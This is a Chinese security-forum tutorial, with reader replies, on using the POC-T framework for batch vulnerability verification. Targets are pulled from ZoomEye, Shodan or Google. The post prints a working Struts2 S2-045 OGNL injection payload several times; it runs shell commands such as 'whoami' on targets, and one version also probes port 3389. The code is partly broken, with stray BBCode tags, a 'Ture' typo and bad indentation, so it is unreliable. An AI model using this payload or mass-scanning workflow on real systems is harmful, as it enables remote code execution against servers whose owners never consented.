用户
搜索
  • TA的每日心情
    开心
    2017-5-31 13:07
  • 签到天数: 20 天

    连续签到: 1 天

    [LV.4]偶尔看看III

    i春秋签约作家

    Rank: 7Rank: 7Rank: 7

    12

    主题

    113

    帖子

    1539

    魔法币
    收听
    1
    粉丝
    18
    注册时间
    2015-11-27

    春秋文阁签约作者

    发表于 2017-4-8 18:25:15 1667648
    1.文章难易度 【★★★】
    2.文章知识点: python,poc验证;
    3.文章作者: 野驴
    4.本文参与i春秋社区原创文章奖励计划,未经许可禁止转载!

    0x01前言
       当互联网爆出高危漏洞,或者团队内部挖到0day,无论甲方还是乙方都需要了解漏洞的影响面,这个时候就需要poc批量验证,包括网络安全爱好者对“批量”这个词一定不会陌生,我们今天就来聊聊“批量”那些事。目前,有很多优秀的poc批量验证工具,比如我之前的帖子(https://bbs.ichunqiu.com/thread-9519-1-1.html)发过pentestdb中也集成了这个功能,比较经典的还有pocsuitehttp://www.pocsuite.org/),pocsuitezoomeyeseebug一条龙服务可以说是业界良心,pocsuite需要按模板要求使用Pocsuite指定的函数,这样的优点在于可以在HTTP请求层面直接做控制,从而支持全局代理全局随机UA”等功能,同时保证了脚本的稳定性与规范性,对于不懂验证逻辑的客户或运维人员,直接运行脚本即可。但总感觉太重了,不够自由,比如输出的内容等,不能自由设置。那么有没有一款可以引入第三方库,不需要任何模板和继承。这样既能够扩展其功能,又能保证效率的最大化,不用每次写脚本都查文档格式,一个脚本一行命令,三五分钟即可完成任务的这样一个poc验证框架呢?这就是今天给大家推荐的POC-T

    0x02 简介及安装使用
    批量验证要解决的三个关键点:
    数据:数据怎么来?
    处理:逻辑是什么?
    并发:如何实现?

    POC-T就是按照这样的思路设计的
    liucheng.png
    banner.png
    安装也很简单,这里不占用篇幅
    [AppleScript] 纯文本查看 复制代码
    git clone [url]https://github.com/Xyntax/POC-T[/url]
    pip install -r requirement.txt
    python POC-T.py

    help.jpg
    0x021 数据怎么来
    数据来源很丰富,也很贴心。包括单个目标(-iS)、文件导入(-iF)、搜索引擎接口,包括谷歌(-aG)、Zoomeye(-aZ)、撒旦(-aS),这些接口的key设置支持运行时手动输入,也支持预先设置,在根目录下的toolkit.conf中设置,谷歌还支持代理,以便扶墙,是不是很贴心,参数–limit来限制搜索数目。其他来源参考帮助。
    api.jpg

    0x022 处理逻辑是什么
    逻辑验证也就是poc,在script已经有很多作者维护的poc脚本,可以利用参数–show来列出poc脚本名
    show.jpg

    加载用参数–s poc名
    0x023 并发如何实现
    并发的实现作者自己的框架,我们作为使用者不必太纠结原理,只要知道支持多线程(-eT)Gevent(-eG)两种并发模式就可以了。POC-T的效率非常之高,根据笔者测试,设置线程为30(默认10),测试2000+个目标不到3分钟就可以完成。
    最后的命令格式大概是这样子
    [AppleScript] 纯文本查看 复制代码
    Python POC-T.py –s poc –aZ “port:22” –limit 100
    Python POC-T.py –s poc –aG “url:index.php” –limit 100 –gproxy “socket5 127.0.0.1 1080”
    Python POC-T.py –s poc –iS http://host//login.php?id=1
    Python POC-T.py –s poc –iF /root/pentest/vul.txt
    

    0x03 poc脚本编写
    这也是本文重点关注的,为什么说POC-T很轻便呢,我认为就体现在poc脚本编写上,所有的验证只需要一个poc()函数就可以,成功就返回True或者自定义信息,失败就返回False,除此之外没有任何限制。没有实例,一切文章都是纸老虎。下面我们就以前段时间火爆的struts2-s045漏洞为例,详细说下poc的编写,在script目录下有个test.py就是poc脚本的一个demo,就在这个基础上编写我们的poc。

    test.jpg

    网上爆出的验证代码为
    [Python] 纯文本查看 复制代码
    def poc(url):
    register_openers()
        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
        header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(url,datagen,headers=header)
        response = urllib2.urlopen(request)
        body=response.read()
    
    return body

    这段代码,大概意思就是执行了“echo nMask”,也就是说返回的body中如果有字符串nMask就意味着漏洞存在,否则不存在。那么我们的poc代码就可以这么写
    [Python] 纯文本查看 复制代码
    import urllib2[/size][/font]
    [align=left][font=宋体][size=3]from poster.encode import multipart_encode
    from poster.streaminghttp import register_openers
    def poc(url):
    register_openers()
            datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
            header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
            header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
            try:
                request = urllib2.Request(url,datagen,headers=header)
                response = urllib2.urlopen(request,timeout=5)
                body = response.readlines()[0:2]
            except:
                    return False
            if "nMask" in body:
                    return Ture
            else:
                    return False

    建议在脚本中处理Exception,如果线程运行中发现Exception,将使框架终止全部任务并打印错误信息。由于网络请求中经常出现连接中断等错误,一种简单的做法是:
    [Python] 纯文本查看 复制代码
    def poc(input_str)
        try:
        ...全部脚本逻辑...
        except:
            return False
    就是这么简单,在运行时框架的每个线程都会调用poc()这个函数,并把目标url复制给poc()函数。然后我们来看看效果,我导入一个目标文本(每行一个url)。
    succ.jpg
    POC-T还提供了具有通用性的脚本扩展工具.用于简化代码,提高PoC准确性,赋予脚本更多功能.这些工具位于plugin目录下,编写脚本时,可以使用from plugin.xxx import xxx直接调用,具体功能请查看原文件注释
    plugin.jpg
    继续以刚才poc为例,现在我们不仅想知道一个url是否存在s2-045漏洞,还想知道特定端口是否开放,比如3389、22端口,这样可以为我们下一步测试提供方便。那来看看扩展工具里有没有我们想要的功能。
    在util.py中有这样一个函数checkPortTcp()只要有IP地址就可以查看相应端口是否开放
    checkPort.jpg
    可传入的参数是url,不是IP地址怎么办,答案仍在util.py中,还有这样一个函数host2IP()可以把url转换为IP地址,真是要啥有啥。
    host2IP.jpg
    我们的代码可以这样写
    [Python] 纯文本查看 复制代码
    import urllib2
    from poster.encode import multipart_encode
    from poster.streaminghttp import register_openers
    from plugin.util import host2IP
    from plugin.util import checkPortTcp
    
    def poc(url):
        register_openers()
        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
        header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask || whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        try:
            request = urllib2.Request(url,datagen,headers=header)
            response = urllib2.urlopen(request,timeout=5)
            body = response.read()
        except:
            body=""
    
        ip = host2IP(url)            #将url转化为IP
        port = checkPortTcp(ip,3389) #检测3389是否开放
        if "nMask" in body:
            assert isinstance(port, object)
            return url + "---" + "3389:" + str(port)
        else:
            return False

    port.jpg
    0x04 其他功能

      如果我们搞明白了批量需要解决的那三个关键问题,就会发现这个框架不仅可以用作poc批量验证,还可以用作它途,只要原理一样就可以。比如爆破、爬虫、采集等。作者也给出了相应实例
    爆破:/script/ brute-example.py
    爬虫&采集:/script/ spider-example.py
    旁站扫描:/script/ bingc.py

    0x05 结语
      
    看完本文,以后再有漏洞时,还用到处问“哪里有批量工具吗?”,自己动手,丰衣足食。但正因为POC-T的轻便、灵活,更需要我们的编码能力,因为所有的逻辑验证及输出都需要通过自己编码实现而没有现成的格式规范。
    其他优秀的poc批量验证工具:


    好了,就到这,感谢观看,锁定
    i春秋,我们下期再见。


    本帖被以下淘专辑推荐:

    The quieter you become the more you are able to hear
    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    来自 13#
    发表于 2017-4-13 11:18:04
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
    奖金
    点评
    150
    不错,配合了代码,还有框架的解析,而且通俗易懂,下次加油。

    使用道具 举报 回复
    Sunshine01 发表于 2017-4-15 03:23
    这个poc可不可以自己往里面添加 ??

    当然可以了!!!!后边写的poc编写,就是为了自己加poc的,自己的poc编写好后放在script目录下就可以正常加载。
    The quieter you become the more you are able to hear
    使用道具 举报 回复
    gncao 发表于 2017-4-11 01:22
    Python用的是哪个版本?还要pip版本?

    python 2.7就可以。pip版本??什么意思?
    The quieter you become the more you are able to hear
    使用道具 举报 回复
    taro 发表于 2017-4-10 08:21
    这个写的不错 ,有价值

    识货,识货,识货,识货,识货,识货
    The quieter you become the more you are able to hear
    使用道具 举报 回复
    发表于 2017-4-11 17:21:31
    野驴 发表于 2017-4-11 16:44
    python 2.7就可以。pip版本??什么意思?

    已经搞定
    使用道具 举报 回复
    发表于 2017-4-11 09:22:32
    Python用的是哪个版本?还要pip版本?
    使用道具 举报 回复
    沙发自己的。欢迎各位大佬捧场。
    The quieter you become the more you are able to hear
    使用道具 举报 回复
    发表于 2017-4-8 18:50:39
    飞速支持我野驴表哥
    使用道具 举报 回复
    阿甫哥哥 超级版主 i春秋最帅男神-阿甫大哥哥 楚 核心白帽 签约作者 白帽传说 春秋游侠
    地板
    发表于 2017-4-8 23:41:02
    我就喜欢这个帖子,前排支持野驴子
    Time will give me the answer
    使用道具 举报 回复
    发表于 2017-4-9 19:34:52

    看看看看
    使用道具 举报 回复
    发表于 2017-4-10 16:21:44
    这个写的不错 ,有价值
    使用道具 举报 回复
    发表于 2017-4-10 20:44:54
    学习了,
    使用道具 举报 回复
    发表于 2017-4-12 22:23:34
    支持野驴表哥,学习新姿势
    http://blog.163.com/sy_butian/欢迎交流
    使用道具 举报 回复
    发表于 2017-4-15 11:23:02
    这个poc可不可以自己往里面添加 ??
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册